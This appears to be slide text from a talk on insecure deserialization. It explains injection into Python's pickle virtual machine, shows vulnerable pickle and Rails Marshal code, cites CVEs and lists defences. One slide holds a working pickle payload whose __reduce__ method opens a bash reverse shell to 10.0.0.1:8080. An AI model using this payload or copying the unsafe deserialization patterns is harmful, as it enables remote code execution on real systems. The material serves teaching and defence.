Where it is
Communicating data to different systems, process
Wire protocols, web services
Storing and re-using data
Databases, cache servers, file systems
Tokens
HTTP cookies, HTML form parameters, API auth tokens
Pickle Virtual Machine
Reconstruct a dict from the contents of the pickle.
Create a class instance of the pickled object.
Populate the class instance with the dict elements
Instructure
engine
Stack Memo
Injecting
Old <Legitimate pickle>…S’<html><body>Foo…’n
<Legitimate pickle>
New <Legitimate pickle>…S’<html><body>
<Instruction returning string>…’n
<Legitimate pickle>
Result Identically-typed object to original with new
attribute value assigned by executed instructions
Limitations
There is no branching instruction
There is no comparison instruction
No exceptions and no error handling
A pickle stream cannot overwrite or directly read itself using
Pickle instructions
Strings loaded in pickles do not undergo variable substitution
Class instances and their methods cannot be directly referenced
Only callables that are present in the top-level of a module are
candidates for loading into the PVM
Vulnerable code
filename = ’/tmp/some_file’
pickle.load(open(filename, "rb"))
OR
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
Vulnerable code
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
import pickle
import socket
import os
class payload(object):
def __reduce__(self):
comm = "bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"
return (os.system, (comm,))
payload = pickle.dumps( payload())
Ruby
CVE-2013-0156 Ruby on Rails XML processor YAML
deserialization code execution
Unsafe Object Deserialization Vulnerability
in RubyGems
CVE-2017-0903
Ruby on Rails (<4.1 by default) used Marshal.load() on user cookies
def reset_password
user = Marshal.load(Base64.decode64(params[:user])) unless
params[:user].nil?
…
end
<div class="content">
<%= hidden_field_tag 'user',
Base64.encode64(Marshal.dump(@user)) %>
…
</div>
The DEFENCE
Avoid magic methods
Use as simple formats as possible
Do not save session state on client
Use White and Blacklists for classes
Yes, manually serialize/ deserialize complex object
Authentication+ Encryption
DON’T TRUST DATA – VERIFY IT
Use sandboxes